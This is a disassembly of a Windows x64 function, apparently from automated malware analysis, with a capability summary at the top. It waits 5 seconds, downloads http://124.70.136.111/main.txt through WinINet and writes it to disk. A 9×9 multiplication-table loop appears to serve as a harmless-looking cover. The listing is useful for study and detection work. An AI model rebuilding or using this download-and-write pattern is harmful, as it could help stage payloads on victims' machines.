Function at 0x140002a10
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x3e0]
sub rsp, 0x4e0
mov rax, qword [0x14003f080]
xor rax, rsp
mov qword [rbp + 0x3d0], rax
xor r15d, r15d
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001f10
xor ecx, ecx
call fcn.14001408c
mov ecx, eax
call fcn.140010c84
mov ebx, r15d
call fcn.140010c58
inc rbx
cmp rbx, 0x64
jl 0x140002a68
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
mov r8d, 0x1e
lea rdx, str.http:__124.70.136.111_main.txt
lea rcx, [rbp - 0x58]
call fcn.140007930
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x30]
call fcn.14002c820
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rdx, qword [rbp - 0x58]
mov r8d, 1
lea rcx, [rbp - 0x30]
call fcn.140005c50
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea r8, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], r8
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rbp + rcx - 0x20]
mov qword [rbp + rcx - 0x30], r8
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x20]
call fcn.140003e10
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x34], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.14000a53c
nop
test ebx, ebx
jne 0x140002b87
lea rdx, str.Loading_Dir_main.txt_...
lea rcx, [0x1400404c0]
call fcn.140007200
mov rcx, rax
call fcn.140007170
lea rcx, [rbp - 0x58]
call fcn.1400023c0
jmp 0x1400030e7
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
mov ecx, 0x40
call fcn.14000afe8
mov rcx, rax
mov qword [rbp - 0x78], rax
movdqa xmm0, xmmword [0x1400395f0]
movdqu xmmword [rbp - 0x68], xmm0
movups xmm0, xmmword [0x140039420]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140039430]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140039440]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x140039450]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x140039458]
mov dword [rcx + 0x38], eax
mov word [rcx + 0x3c], r15w
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x48]
call fcn.1400021c0
nop
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [0x1400404c0]
call fcn.140008ff0
mov rcx, rax
call fcn.140007170
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x140002f27
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov r8d, 4
cmp rax, r8
cmovb r8, rax
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.140007930
lea rcx, [rsp + 0x68]
mov rbx, qword [rsp + 0x68]
mov rdi, qword [rbp - 0x80]
cmp rdi, 0xf
cmova rcx, rbx
mov r8, qword [rsp + 0x78]
cmp r8, 4
jne 0x140002ca5
lea rdx, str.http
call fcn.14002cbd0
test eax, eax
jne 0x140002ca5
mov sil, 1
jmp 0x140002ca8
xor sil, sil
cmp rdi, 0xf
jbe 0x140002cdf
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140002cd7
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003152
mov rcx, rbx
call fcn.14000afe0
lea rcx, [0x1400404c0]
test sil, sil
je 0x140002eb8
lea rdx, str.Loading_StringTable_...
call fcn.140007200
mov rcx, rax
call fcn.140007170
xor ecx, ecx
call fcn.14001408c
mov ecx, eax
call fcn.140010c84
mov rbx, r15
call fcn.140010c58
inc rbx
cmp rbx, 0x64
jl 0x140002d14
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov r8d, 8
lea rdx, str.main.txt
lea rcx, [rsp + 0x68]
call fcn.140007930
nop
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Download
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140002e68
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rdx, qword [rsp + 0x48]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140002e5f
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rcx, qword [rsp + 0x68]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
je 0x140002e59
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rbp - 0x30]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002e4d
nop dword [rax + rax]
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140002e4d
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x44]
lea rdx, [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140002e10
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x68]
call fcn.1400023c0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140003045
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002eae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003158
call fcn.14000afe0
jmp 0x140003045
lea rdx, str.Loading_LocalFile_...
call fcn.140007200
mov rcx, rax
call fcn.140007170
xor ecx, ecx
call fcn.14001408c
mov ecx, eax
call fcn.140010c84
mov rbx, r15
nop dword [rax]
call fcn.140010c58
inc rbx
cmp rbx, 0x64
jl 0x140002ee0
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [0x1400404c0]
call fcn.140008ff0
mov rcx, rax
call fcn.140007170
lea rcx, [rsp + 0x48]
call fcn.1400023c0
jmp 0x140003045
lea rdx, str.No_Find_main_txt_and_StringTable_...
lea rcx, [0x1400404c0]
call fcn.140007200
mov rcx, rax
call fcn.140007170
lea rdx, [0x140039540]
lea rcx, [0x1400404c0]
call fcn.140007200
mov esi, 1
nop word [rax + rax]
xor ecx, ecx
call fcn.14001408c
mov ecx, eax
call fcn.140010c84
mov rbx, r15
call fcn.140010c58
inc rbx
cmp rbx, 0x64
jl 0x140002f71
mov edi, 1
mov r14d, esi
xor ecx, ecx
call fcn.14001408c
mov ecx, eax
call fcn.140010c84
mov rbx, r15
call fcn.140010c58
inc rbx
cmp rbx, 0x64
jl 0x140002f98
mov edx, edi
lea rcx, [0x1400404c0]
call fcn.140004310
mov rcx, rax
lea rdx, [0x140039548]
call fcn.140007200
mov rcx, rax
mov edx, esi
call fcn.140004310
mov rcx, rax
lea rdx, [0x140039544]
call fcn.140007200
mov rcx, rax
mov edx, r14d
call fcn.140004310
cmp edi, esi
jae 0x140003021
xor ecx, ecx
call fcn.14001408c
mov ecx, eax
call fcn.140010c84
mov rbx, r15
nop dword [rax]
call fcn.140010c58
inc rbx
cmp rbx, 0x64
jl 0x140003000
lea rdx, [0x14003954c]
lea rcx, [0x1400404c0]
call fcn.140007200
inc edi
add r14d, esi
cmp edi, esi
jle 0x140002f87
lea rcx, [0x1400404c0]
call fcn.140007170
inc esi
cmp esi, 9
jle 0x140002f60
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140003082
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000307d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000315e
call fcn.14000afe0
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 7
jbe 0x1400030d5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003164
call fcn.14000afe0
movdqa xmm0, xmmword [0x1400395d0]
movdqu xmmword [rbp - 0x68], xmm0
mov word [rbp - 0x78], r15w
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14000311e
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003119
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000314c
call fcn.14000afe0
xor eax, eax
mov rcx, qword [rbp + 0x3d0]
xor rcx, rsp
call fcn.14000afc0
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140014e2c
nop
call fcn.140014e2c
nop
call fcn.140014e2c
nop
call fcn.140014e2c
nop
call fcn.140014e2c
int3